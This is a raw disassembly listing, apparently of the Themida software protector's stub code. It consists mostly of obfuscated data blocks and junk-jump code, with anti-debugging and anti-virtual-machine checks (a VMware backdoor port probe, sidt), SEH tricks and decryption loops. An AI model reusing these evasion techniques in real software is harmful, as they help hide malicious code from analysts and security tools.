8B005B1Eh, 1211858Dh, 6AD0FF06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8912C353h, 1215A58Dh, 3C08B06h, 120DC9BDh dd 91BD8306h, 6121Bh, 0BD830975h, 61217DDh, 50197400h dd 0B8C08B53h, 7D8h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh dd 17DDBD83h, 74000612h, 0B8535017h, 7D8h, 858589h, 9D8D0612h dd 614AAFEh, 585BD3FFh, 3319589h, 0BD890612h, 6121B69h dd 0F60C08Bh, 587h, 0A1ECB900h, 840F4D36h, 6, 1749BD8Bh dd 68610612h, 0F003Fh, 2FE78166h, 6A006A47h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 5F34E7A3h, 0BA6660D2h, 0F281C3FDh, 3CDA1C2Ch, 0D95FF61h dd 0BF06121Bh, 1F515620h, 6AC085h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0B10507C3h, 8B76B121h dd 12178595h, 95858906h, 0E90614F7h, 0Eh, 18FD0CEDh, 0D40AA620h dd 4B2D08B6h, 0FF681832h, 83000F01h, 12053DBDh, 840F0006h dd 21h, 1739B589h, 858D0612h, 614F7F2h, 2A798D01h, 16E90612h dd 0E9000000h, 5, 0CA8C92FAh, 0C8858D38h, 890614F7h, 122FDDBDh dd 0BF0F5006h, 95B5FFFFh, 6A0614F7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 8A92C356h dd 0FFCB8B57h, 14F78D95h, 0FC53F506h, 9985895Fh, 660614F7h dd 1E855B9h, 1210E9BDh, 5985C706h, 61202h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 6A52C357h, 0DA506123h, 83CE8B66h, 14F799BDh, 840F0006h dd 1C6h, 290D950Bh, 858D0612h, 614FA77h, 22B59589h, 89500612h dd 1219B99Dh, 6A016A06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 2958C352h, 73D21AE2h dd 0B5FF9388h, 614F799h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 52C35646h, 91961333h, 9195FFFCh, 0F0614F7h dd 0B5FFD6B7h, 614F799h, 9859B966h, 95FF72B6h, 6120039h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 80C35747h dd 87CF8166h, 1FF6805h, 4DBA000Fh, 831DEAC9h, 12053DBDh dd 840F0006h, 5Eh, 68B0Fh, 0B5010000h, 6120E81h, 0F7F2858Dh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0E3E5ABC3h, 991E9A51h, 34E9F8C3h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 1D49C356h, 33235CDCh, 858D86F2h, 614F7C8h dd 0DB1B529h, 8FBA0612h, 501F9525h, 0FF32E280h, 14F795B5h dd 5D8D8B06h, 0FF061200h, 14F78D95h, 6880F06h, 29000000h dd 12241595h, 99858906h, 660614F7h, 0B5FFCF8Bh, 614F799h dd 11E9h dd 0EB0F9500h, 28CD61D6h, 0E8B570D6h, 4B8B3C58h, 4EB6A5A0h dd 0F78995FFh, 0C9810614h, 2248E122h, 0F799B5FFh, 0EF810614h dd 64E18250h, 3995FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 11E957C3h, 19000000h dd 0A5FDF307h, 8DF15EBDh, 45172A9Fh, 0B02CED69h, 29058589h dd 5CE90612h, 6AFFFFF6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 552C353h, 8B62B51Eh dd 120319BDh, 0E2B5FF06h, 60061502h, 0A6ABBE66h, 68F0Fh dd 85090000h, 6121FCDh, 3195FF61h, 0E906121Bh, 10h, 2BBAA35Fh dd 0A29F5524h, 7D08E659h, 0ABF9B3EAh, 858BD38Bh, 6120E21h dd 1443C6B9h, 5B8E944h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 70DC91C3h, 0B8A5B69Bh dd 0D981B3F6h, 20B39525h, 8E9h, 75008900h, 0B57DB51Fh dd 97B58DD3h, 810614FAh, 551C19D7h, 0DF858D1Bh, 6A0614A7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 1C29C355h, 198D8BD6h, 0FF061218h, 25BF66D0h dd 66006A4Bh, 95FFFE8Bh, 61230FDh, 9F38BF8h, 12144195h dd 8DF48A06h, 14A7DF85h, 0CEBF0F06h, 0CD80D0FFh, 0F006A89h dd 95FFD0B7h, 61230FDh, 0BE9h, 0D3862F00h, 71BBD581h, 13751C36h dd 0C08BF88Bh, 14E9h, 0DE61E900h, 33AB2903h, 0B798489Ah dd 0E4ADB964h, 0F02847A9h, 91BD83D9h, 6121Bh, 0BD830975h dd 61217DDh, 50197400h, 0B8C08B53h, 7D9h, 858589h, 9D8D0612h dd 614AE0Fh, 585BD3FFh, 17DDBD83h, 74000612h, 0B8535017h dd 7D9h, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 104D8D23h dd 0CA8B0612h, 8D89C08Bh, 61221C1h, 0BE8h, 5EA3A300h, 0B286DC5Fh dd 38C9F333h, 505AD38Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0DAC35545h, 299A3A6Eh, 0BD8BA8DCh, 6120DB9h dd 840FD88Bh, 0Ah, 820F60h, 52000000h, 8D53615Bh, 12212D9Dh dd 89038B06h, 50438B03h, 8D504389h, 15027B9Dh, 89038B06h dd 66605B03h, 0E9889ABBh, 6, 4BE5033Ah, 0E861F1EAh, 14h dd 0F569FD4Fh, 11D44B0Fh, 0B056699Ch, 85B61DCh, 37A58FD8h dd 0F1C1BF66h, 8D006A59h, 15027B85h, 0BD8B5606h, 6121291h dd 0BF66505Fh, 606A217Dh, 0B2CF8B66h, 2D858D17h, 89061221h dd 1208ED9Dh, 6A5006h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0D837C3C3h, 6AF444h, 0EE8h, 0DF55E400h dd 3C0E311Bh, 0E77C3B61h, 0E8B66F87h, 0Ah, 105F4246h, 0C0504761h dd 0D9819D6Ch, 0F996E4Fh, 6A5F5Ah, 19BD958Bh, 680612h dd 29000018h, 120421B5h, 800F5306h, 1Ch, 16860Fh, 10E80000h dd 50000000h, 8569ED94h, 1580C094h, 37D2D67Ah, 59EA7A71h dd 95FF29B1h, 6122D25h, 1890Fh, 0FFF50000h, 121BA195h dd 1DC18006h, 2E2B5FFh, 8D8B0615h, 61204FDh, 1B3195FFh dd 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 900E1DC3h, 0F68DCE9h, 11E9FABFh, 11000000h dd 0A69A49C4h, 61F8D5ECh, 4169811Fh, 2A278FEAh, 212D858Dh dd 0BF660612h, 408B7D6Dh, 0A58D2918h, 0E9061234h, 14h dd 0E297BAF7h, 0ADA083C8h, 0EBCBB5E5h, 0BDF8562h, 371CD89Fh dd 311185C7h, 612h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 736421C3h, 3FDBAFDAh dd 12918D03h, 0BD830612h, 612053Dh, 66840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 43B5C352h, 865B6767h, 0BE8AA77h, 14000000h dd 0FFA17A9h, 5455B386h, 59FC56F9h, 24D9D89h, 8C3D0612h dd 0F000000h, 15D83h, 6820F00h, 89000000h, 121DDD8Dh, 6E906h dd 0F6890000h, 48BD17D2h, 15E9h, 3CBF6600h, 983D48h, 830F0000h dd 132h, 68D958Bh, 858D0612h, 5B243Bh, 1BDD8589h, 0D0FF0612h dd 0EE9h, 86A5BC00h, 62D0F029h, 5853AEACh, 8D364B41h, 5B1E8E85h dd 28D0F00h, 8B000000h, 31D0FFFEh, 1229D595h, 81C08B06h dd 5FCEAD1h, 91BD8344h, 6121Bh, 0BD830975h, 61217DDh, 50197400h dd 0B8C08B53h, 0BC6h, 858589h, 9D8D0612h, 614AE0Fh, 585BD3FFh dd 17DDBD83h, 74000612h, 0B8535017h, 0BC6h, 858589h, 9D8D0612h dd 614AAFEh, 585BD3FFh, 23BF6657h, 9D895FEDh, 6120D51h dd 810FC08Bh, 6, 1759958Bh, 0F530612h, 8Fh, 0F8835F00h dd 27850FFFh, 89000000h, 120969B5h, 0B985C706h, 61221h dd 0E9000000h, 0F5h, 0BE18166h, 0E9D68B02h, 22h, 22AD9509h dd 0F8830612h, 13850F01h, 8B000000h, 12193595h, 114E906h dd 51600000h, 8A58D78Bh, 40E961C3h, 6AFFFFF1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 1CFBC350h, 1BF9C308h, 95292A5Bh, 6120875h, 2A5BD8Bh dd 0C08B0612h, 0D419B966h, 1B91BD83h, 75000612h, 0DDBD8309h dd 61217h, 53501974h, 0DDB8C08Bh, 89000007h, 12008585h dd 0F9D8D06h, 0FF0614AEh, 83585BD3h, 1217DDBDh, 17740006h dd 0DDB85350h, 89000007h, 12008585h, 0FE9D8D06h, 0FF0614AAh dd 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0D5F1C356h, 0D24E766Bh, 0C8BF0F9Fh dd 33CF8166h, 8D95037Fh, 8B061221h, 5181BFC0h, 32E90D87h dd 0F000002h, 0BF0FF8BFh, 7F858DFEh, 8B061500h, 122B0195h dd 77858906h, 6A061502h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 594CC357h, 0B03EEE98h dd 0B18D0BF4h, 0E9061201h, 51h, 1681958Bh, 858D0612h, 614FE87h dd 10E8h, 0E56D1B00h, 0F05F6275h, 91F37BF6h, 97E89AD3h dd 58BA6640h, 6A405FB4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 38C0C351h, 0F0091599h dd 778589F0h, 0B5061502h, 8D346AA8h, 1216B585h, 0B5FF5006h dd 6150277h, 95FF006Ah, 6122341h, 0F07F883h, 16884h, 0DB8C6600h dd 0F04C3F6h, 10285h, 7185C600h, 56061228h, 0A8B85268h dd 0B1B5FF9Ch, 8D061203h, 123B5D85h, 6AD0FF06h, 10006804h dd 646A0000h, 0D0FF006Ah, 2EA8589h, 85C60615h, 6122871h dd 0AC9B6847h, 0B5FFEC18h, 61203B1h, 3B5D858Dh, 0D0FF0612h dd 0F08BD0FFh, 287185C6h, 684F0612h, 0C62F2661h, 22EDB5FFh dd 858D0612h, 6123B5Dh, 9D8DD0FFh, 61502E6h, 56286A53h dd 0C085D0FFh, 85C60075h, 6122871h, 64986841h, 0B5FFDB87h dd 61222EDh, 3B5D858Dh, 0D0FF0612h, 3038589h, 85C60615h dd 6122871h, 0E7A4684Ch, 0B5FF80A4h, 61222EDh, 3B5D858Dh dd 0D0FF0612h, 2EA9D8Bh, 5B8D0615h, 9D8D5304h, 61502EFh dd 0FF006A53h, 0EA9D8BD0h, 0C7061502h, 103h, 0C43C700h dd 2, 15A19D8Bh, 85C70612h, 6120965h, 0 ; --------------------------------------------------------------------------- push 0 push 0 push 0 mov ebx, [ebp+61502EAh] push ebx push 0 push dword ptr [ebp+61502E6h] call dword ptr [ebp+6150303h] mov byte ptr [ebp+6122871h], 45h push 92A5F797h push dword ptr [ebp+6121D39h] lea eax, [ebp+6123B5Dh] call eax push 0 push 2 call eax mov bx, ds test bl, 4 jnz short loc_579F7D mov ebx, [ebp+61502EAh] mov dword ptr [ebx+0Ch], 0 push 0 push 0 mov ebx, [ebp+61502EAh] push ebx push 0 push dword ptr [ebp+61502E6h] call dword ptr [ebp+6150303h] push dword ptr [ebp+61502E6h] call dword ptr [ebp+6121BA1h] loc_579F7D: ; CODE XREF: Themida_:00579F49j push 0 call dword ptr [ebp+61230FDh] sub [ebp+6121159h], ecx mov [ebp+6121761h], ebx lea eax, [ebp+61536ECh] push 0 push eax call sub_579FA2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579FA2 proc near ; CODE XREF: Themida_:00579F9Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_579FA2 endp ; --------------------------------------------------------------------------- adc [edx+40A9F794h], ah cmp eax, 2CED9523h adc al, [esi] mov edi, [ebp+6121F65h] push eax push 0 push ecx call sub_579FD1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_579FD1 proc near ; CODE XREF: Themida_:00579FC9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_579FD1 endp ; --------------------------------------------------------------------------- db 95h, 0FBh, 0DEh ; --------------------------------------------------------------------------- jmp loc_579FF8 ; --------------------------------------------------------------------------- db 10h, 2, 0D2h dd 0E689118Bh, 514798F8h, 28AAC116h ; --------------------------------------------------------------------------- loc_579FF8: ; CODE XREF: Themida_:00579FE4j push large dword ptr fs:0 or [ebp+6122EDDh], ecx mov large fs:0, esp stc cmp dword ptr [ebp+6120D99h], 0 jz loc_57A068 or dx, 0BABh cmp dword ptr [ebp+61207ADh], 1 jnz loc_57A068 jmp loc_57A045 ; --------------------------------------------------------------------------- db 0FDh, 9, 28h dd 5CC5CE72h, 0F3F70EBAh, 0A1E2D6Dh, 0B90A5D3Ch db 0DBh ; --------------------------------------------------------------------------- loc_57A045: ; CODE XREF: Themida_:0057A02Cj cmp byte ptr [ebp+6150703h], 0 jnz loc_57A068 mov [ebp+61222E5h], edx jmp loc_57A19E ; --------------------------------------------------------------------------- and dx, 98E9h and edx, [ebp+6122EEDh] loc_57A068: ; CODE XREF: Themida_:0057A014j ; Themida_:0057A026j ... xor ebx, ebx mov edx, [ebp+6122EF5h] xor eax, eax or [ebp+6122D85h], edx inc eax ; --------------------------------------------------------------------------- db 0Fh, 3Fh, 7 dd 58F640Bh, 0 ; --------------------------------------------------------------------------- add esp, 4 pusha mov bx, 27FDh mov edx, 394BD65h popa push 0 push eax call sub_57A09D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A09D proc near ; CODE XREF: Themida_:0057A095p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_57A09D endp ; --------------------------------------------------------------------------- db 44h, 63h, 0F0h ; --------------------------------------------------------------------------- retf 0FB83h ; --------------------------------------------------------------------------- db 0FFh ; --------------------------------------------------------------------------- jz loc_57A0D3 mov edx, 76D2786Eh jns loc_57A0CA add di, 0F9Eh loc_57A0CA: ; CODE XREF: Themida_:0057A0BFj jmp loc_57A194 ; --------------------------------------------------------------------------- mov dx, 0B214h loc_57A0D3: ; CODE XREF: Themida_:0057A0B4j jmp loc_57A14A ; --------------------------------------------------------------------------- push 0 push ecx call sub_57A0E3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A0E3 proc near ; CODE XREF: Themida_:0057A0DBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_57A0E3 endp ; --------------------------------------------------------------------------- db 8Dh dd 4A3036BDh, 0CDAB1356h, 0E18166DAh, 4C8B9108h, 81C70C24h dd 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 615370Eh mov eax, [ebx+0B8h] lea eax, [ebp+6153788h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- movzx edi, di mov edi, [ebp+612158Dh] loc_57A14A: ; CODE XREF: Themida_:loc_57A0D3j lea eax, [ebp+6153704h] mov [ebp+6122AE1h], esi push eax movzx edx, bx push large dword ptr fs:0 mov large fs:0, esp mov dx, 0DCF6h mov ecx, 0Ah mov eax, 4855D704h add eax, 0DF78164h mov ebx, 8685D465h mov edx, 34B640h sub edx, 345FE8h in eax, dx cmp ebx, 564D5868h jnz short loc_57A19E loc_57A194: ; CODE XREF: Themida_:loc_57A0CAj mov dword ptr [ebp+6120971h], 1 loc_57A19E: ; CODE XREF: Themida_:0057A058j ; Themida_:0057A192j pop large dword ptr fs:0 add esp, 4 mov [ebp+6121925h], edx mov [ebp+6121A29h], edi clc mov eax, eax call sub_57A1CE pop edx retf 0D206h ; --------------------------------------------------------------------------- dd 5805087h, 5644344h, 62FE0A70h db 0DAh, 98h ; =============== S U B R O U T I N E ======================================= sub_57A1CE proc near ; CODE XREF: Themida_:0057A1B7p var_1A = byte ptr -1Ah var_10 = dword ptr -10h mov [ebp+6121789h], ebx pop edx cmp dword ptr [ebp+6121B91h], 0 jnz short loc_57A1E7 cmp dword ptr [ebp+61217DDh], 0 jz short loc_57A200 loc_57A1E7: ; CODE XREF: sub_57A1CE+Ej push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6122295h], eax lea ebx, [ebp+614AE76h] call ebx pop ebx pop eax loc_57A200: ; CODE XREF: sub_57A1CE+17j cmp dword ptr [ebp+61217DDh], 0 jz short loc_57A220 push eax push ebx mov eax, 43Dh mov [ebp+6122295h], eax lea ebx, [ebp+614AB17h] call ebx pop ebx pop eax loc_57A220: ; CODE XREF: sub_57A1CE+39j mov dl, 0B6h mov edx, [ebp+6121999h] mov eax, eax jmp loc_57A376 ; --------------------------------------------------------------------------- db 4 dd 31000000h, 3031392Eh, 7 dup(0) db 0 aExceptionInfor db 'Exception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_57A376: ; CODE XREF: sub_57A1CE+5Cj cmp dword ptr [ebp+6121A15h], 0 jz loc_57A4B0 lea eax, [ebp+614A92Eh] push eax lea eax, [ebp+614A898h] push eax push 80000001h call dword ptr [ebp+614A93Eh] lea eax, [ebp+6153819h] push eax lea eax, [ebp+6153823h] push eax push 0 push 0 lea eax, [ebp+614A8ACh] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] lea eax, [ebp+6153819h] push eax lea eax, [ebp+6153827h] push eax push 0 push 0 lea eax, [ebp+614A8BEh] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] lea eax, [ebp+6153819h] push eax lea eax, [ebp+6153833h] push eax push 0 push 0 lea eax, [ebp+614A90Bh] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] lea eax, [ebp+6153819h] push eax lea eax, [ebp+615383Bh] push eax push 0 push 0 lea eax, [ebp+614A929h] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] lea eax, [ebp+6153819h] push eax lea eax, [ebp+6153837h] push eax push 0 push 0 lea eax, [ebp+614A912h] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] lea eax, [ebp+6153819h] push eax lea eax, [ebp+615382Bh] push eax push 0 push 0 lea eax, [ebp+614A91Ah] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] lea eax, [ebp+6153819h] push eax lea eax, [ebp+615382Fh] push eax push 0 push 0 lea eax, [ebp+614A921h] push eax push dword ptr [ebp+614A92Eh] call dword ptr [ebp+6121765h] push dword ptr [ebp+614A92Eh] call dword ptr [ebp+61218A1h] jmp loc_57A552 ; --------------------------------------------------------------------------- loc_57A4B0: ; CODE XREF: sub_57A1CE+1AFj cmp dword ptr [ebp+6120E85h], 0 jz loc_57A552 cmp dword ptr [ebp+61207ADh], 0 jnz loc_57A4DB mov edx, [ebp+61209C1h] add edx, 1CF8h jmp loc_57A4EA ; --------------------------------------------------------------------------- loc_57A4DB: ; CODE XREF: sub_57A1CE+2F6j lea edx, [ebp+612212Dh] mov edx, [edx+34h] add edx, 3BD4C340h loc_57A4EA: ; CODE XREF: sub_57A1CE+308j mov [ebp+6122411h], edx cmp dword ptr [ebp+6122411h], 0 jz loc_57A552 mov ebx, [ebp+6122411h] add ebx, 4Ch mov eax, [ebx] mov [ebp+6153823h], eax mov ebx, [ebp+6122411h] add ebx, 50h mov eax, [ebx] mov [ebp+6153827h], eax mov ebx, [ebp+6122411h] add ebx, 54h mov eax, [ebx] mov [ebp+6153833h], eax mov ebx, [ebp+6122411h] add ebx, 58h mov eax, [ebx] mov [ebp+6153837h], eax mov ebx, [ebp+6122411h] add ebx, 5Ch mov eax, [ebx] mov [ebp+615382Bh], eax loc_57A552: ; CODE XREF: sub_57A1CE+2DDj ; sub_57A1CE+2E9j ... cmp dword ptr [ebp+6121A15h], 0 jnz loc_57A56C cmp dword ptr [ebp+6120E85h], 0 jz loc_57A5D4 loc_57A56C: ; CODE XREF: sub_57A1CE+38Bj push dword ptr [ebp+615383Bh] push dword ptr [ebp+615382Fh] push dword ptr [ebp+615382Bh] push dword ptr [ebp+6153837h] push dword ptr [ebp+6153833h] push dword ptr [ebp+6153827h] push dword ptr [ebp+6153823h] lea eax, [ebp+615381Dh] push eax lea eax, [ebp+6153855h] push eax lea eax, [ebp+6120A31h] push eax call dword ptr [ebp+6122371h] add esp, 24h push 40h lea eax, [ebp+615383Fh] push eax lea eax, [ebp+6120A31h] push eax push 0 call dword ptr [ebp+6122341h] push 1 call dword ptr [ebp+61230FDh] loc_57A5D4: ; CODE XREF: sub_57A1CE+398j mov eax, ecx jmp short loc_57A5F0 ; --------------------------------------------------------------------------- dd 9B46F317h, 5 dup(0) ; --------------------------------------------------------------------------- loc_57A5F0: ; CODE XREF: sub_57A1CE+408j jmp loc_57A800 ; --------------------------------------------------------------------------- loc_57A5F5: ; CODE XREF: sub_57A1CE+43Cj pusha mov ebx, [esp+34h+var_10] call $+5 pop ebp sub ebp, 6153BE9h popa retn 4 ; --------------------------------------------------------------------------- jmp loc_57A5F5 ; --------------------------------------------------------------------------- loc_57A60F: ; CODE XREF: sub_57A1CE+446j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57A60F ; --------------------------------------------------------------------------- loc_57A619: ; CODE XREF: sub_57A1CE+450j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57A619 ; --------------------------------------------------------------------------- loc_57A623: ; CODE XREF: sub_57A1CE+45Aj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57A623 ; --------------------------------------------------------------------------- loc_57A62D: ; CODE XREF: sub_57A1CE+464j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_57A62D ; --------------------------------------------------------------------------- align 4 dd 0 dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 153C21B5h, 0E68106h dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 153C25B5h dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h dd 6122411h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 12190595h, 10F5006h dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6122411h dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 2411858Bh, 18860612h dd 850FDB0Ah, 0FFFFFFF6h, 289585C7h, 612h, 448B0000h, 988B0824h dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h dd 12289585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh ; --------------------------------------------------------------------------- loc_57A800: ; CODE XREF: sub_57A1CE:loc_57A5F0j mov ax, ds test al, 4 jz loc_57A834 mov dword ptr [ebp+6153BC6h], 1 push eax sidt fword ptr [esp+18h+var_1A] pop dword ptr [ebp+6153BCAh] lea eax, [ebp+6153BC2h] lea edi, [ebp+6153BCAh] mov [eax], edi jmp loc_57A857 ; --------------------------------------------------------------------------- loc_57A834: ; CODE XREF: sub_57A1CE+637j lea eax, [ebp+612212Dh] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+6153BC2h], eax lea eax, [ebp+612212Dh] mov eax, [eax+3Ch] mov [ebp+6153BC6h], eax loc_57A857: ; CODE XREF: sub_57A1CE+661j lea eax, [ebp+6153BDFh] mov [ebp+6121905h], eax jmp loc_57A8EF ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57A883 ; --------------------------------------------------------------------------- loc_57A87C: ; CODE XREF: sub_57A1CE+6B7j add [esi], al xor [esi], al ror eax, 1 inc esi loc_57A883: ; CODE XREF: sub_57A1CE+6A9j cmp esi, edi jb loc_57A87C popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_57A8AB ; --------------------------------------------------------------------------- loc_57A8A4: ; CODE XREF: sub_57A1CE+6DFj xor [esi], al sub [esi], al ror eax, 1 inc esi loc_57A8AB: ; CODE XREF: sub_57A1CE+6D1j cmp esi, edi jb loc_57A8A4 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_57A8DE ; --------------------------------------------------------------------------- loc_57A8CB: ; CODE XREF: sub_57A1CE+712j lodsb cmp al, 2Dh jz loc_57A8DE add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_57A8DE: ; CODE XREF: sub_57A1CE+6F8j ; sub_57A1CE+700j or ecx, ecx jnz loc_57A8CB mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_57A8EF: ; CODE XREF: sub_57A1CE+695j lea eax, [ebp+6153E52h] mov [ebp+612109Dh], eax lea eax, [ebp+6153E7Ah] mov [ebp+61212B5h], eax lea eax, [ebp+6153EA2h] mov [ebp+61205B5h], eax pusha push 0 push eax call sub_57A91F and [eax-3Dh], bl sub_57A1CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_57A91F proc near ; CODE XREF: sub_57A1CE+749p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57A91F endp ; --------------------------------------------------------------------------- cmp esi, [edx] push edi pop ecx mov eax, eax push 0 push eax call sub_57A940 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A940 proc near ; CODE XREF: Themida_:0057A938p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_57A940 endp ; --------------------------------------------------------------------------- xchg eax, ecx or edi, [ecx+62h] mov cl, dh or dh, 8Bh cmp dword ptr [ebp+6121B91h], 0 jnz short loc_57A96B cmp dword ptr [ebp+61217DDh], 0 jz short loc_57A984 loc_57A96B: ; CODE XREF: Themida_:0057A960j push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+6120085h], eax lea ebx, [ebp+614AE0Fh] call ebx pop ebx pop eax loc_57A984: ; CODE XREF: Themida_:0057A969j cmp dword ptr [ebp+61217DDh], 0 jz short loc_57A9A4 push eax push ebx mov eax, 40Eh mov [ebp+6120085h], eax lea ebx, [ebp+614AAFEh] call ebx pop ebx pop eax loc_57A9A4: ; CODE XREF: Themida_:0057A98Bj push 0 push edi call sub_57A9AF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57A9AF proc near ; CODE XREF: Themida_:0057A9A7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_57A9AF endp ; --------------------------------------------------------------------------- db 40h dd 764359Eh, 0F9C06354h, 14E9h, 60B6DC00h, 0DFC9A0FFh dd 0A50DFE6Fh, 0AD6D734Dh, 8BA8D650h, 53006A57h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 12E95Fh, 77B60000h, 0F4509BDAh, 0A818F5C8h, 13CEB84Dh dd 91E3A543h, 6AC08Bh, 